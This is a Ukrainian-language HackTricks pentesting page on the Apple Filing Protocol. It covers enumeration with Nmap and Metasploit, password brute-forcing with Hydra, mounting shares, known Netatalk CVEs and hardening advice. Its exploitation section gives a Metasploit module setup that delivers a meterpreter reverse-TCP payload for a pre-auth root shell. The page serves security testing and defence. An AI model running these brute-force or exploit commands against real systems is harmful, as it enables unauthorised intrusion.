548 - Pentesting Apple Filing Protocol (AFP)
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
Apple Filing Protocol (AFP), раніше відомий як AppleTalk Filing Protocol, є спеціалізованим мережевим протоколом, що входить до складу Apple File Service (AFS). Він призначений для надання файлових послуг для macOS та класичного Mac OS. AFP вирізняється підтримкою імен файлів у форматі Unicode, дозволів у стилі POSIX та ACL, ресурсних forks, іменованих розширених атрибутів та складних механізмів блокування файлів.
Хоча AFP був замінений SMB у сучасних випусках macOS (SMB є за замовчуванням з OS X 10.9), його все ще можна зустріти в:
- Спадкових середовищах macOS / Mac OS 9
- NAS-пристроях (QNAP, Synology, Western Digital, TrueNAS…), які вбудовують відкритий Netatalk демон
- Мережах з різними ОС, де все ще увімкнено Time-Machine-over-AFP
Порт TCP за замовчуванням: 548 (AFP через TCP / DSI)
PORT STATE SERVICE
548/tcp open afp
Перерахування
Швидка інформація про банер / сервер
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
Корисні скрипти AFP NSE:
Скрипт | Що він робить |
---|---|
afp-ls | Перелік доступних обсягів та файлів AFP |
afp-brute | Брутфорс паролів для входу в AFP |
afp-serverinfo | Виводить ім'я сервера, тип машини, версію AFP, підтримувані UAM тощо. |
afp-showmount | Перелік спільних ресурсів разом з їхніми ACL |
afp-path-vuln | Виявляє (і може експлуатувати) перехід по каталогах, CVE-2010-0533 |
Скрипт брутфорсу NSE можна поєднати з Hydra/Medusa, якщо потрібен більший контроль:
hydra -L users.txt -P passwords.txt afp://<IP>
Взаємодія з загальними ресурсами
macOS
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
Linux (використовуючи afpfs-ng
‑ упакований у більшості дистрибутивів)
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
Після монтування пам'ятайте, що класичні ресурси Mac зберігаються як приховані ._*
файли AppleDouble – вони часто містять цікаві метадані, які пропускають інструменти DFIR.
Загальні вразливості та експлуатація
Netatalk неавторизований RCE ланцюг (2022)
Кілька постачальників NAS випустили Netatalk ≤3.1.12. Відсутність перевірки меж у parse_entries()
дозволяє зловмиснику створити шкідливий заголовок AppleDouble і отримати віддалений root до аутентифікації (CVSS 9.8 – CVE-2022-23121). Повний звіт від NCC Group з PoC, що експлуатує Western-Digital PR4100, доступний.
Metasploit (>= 6.3) постачає модуль exploit/linux/netatalk/parse_entries
, який доставляє корисне навантаження через DSI WRITE
.
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
Якщо цільова система працює на вразливій прошивці QNAP/Synology, успішна експлуатація призводить до отримання оболонки як root.
Переповнення купи OpenSession Netatalk (2018)
Стара версія Netatalk (3.0.0 - 3.1.11) вразлива до запису за межами меж у обробнику DSI OpenSession, що дозволяє виконання неавтентифікованого коду (CVE-2018-1160). Детальний аналіз та PoC були опубліковані Tenable Research.
Інші помітні проблеми
- CVE-2022-22995 – Перенаправлення символічних посилань, що призводить до запису довільних файлів / RCE, коли AppleDouble v2 увімкнено (3.1.0 - 3.1.17).
- CVE-2010-0533 – Перехід по каталогах в Apple Mac OS X 10.6 AFP (виявлено за допомогою
afp-path-vuln.nse
). - Було виправлено кілька помилок безпеки пам'яті в Netatalk 4.x (2024) – рекомендується оновлення замість патчування окремих CVE.
Рекомендації щодо захисту
- Вимкніть AFP, якщо це не є строго необхідним – використовуйте SMB3 або NFS замість цього.
- Якщо AFP повинен залишитися, оновіть Netatalk до ≥ 3.1.18 або 4.x, або застосуйте прошивку постачальника, яка включає патчі 2022/2023/2024.
- Вимагайте Сильні UAM (наприклад, DHX2), вимкніть логіни у відкритому тексті та гостьові логіни.
- Обмежте TCP 548 для довірених підмереж і оберніть AFP у VPN, коли він відкритий віддалено.
- Періодично скануйте за допомогою
nmap -p 548 --script afp-*
у CI/CD, щоб виявити зловмисні / знищені пристрої.
Brute-Force
Посилання
- Netatalk Security Advisory CVE-2022-23121 – "Виконання довільного коду в parse_entries" https://netatalk.io/security/CVE-2022-23121
- Tenable Research – "Експлуатація 18-річної помилки (CVE-2018-1160)" https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.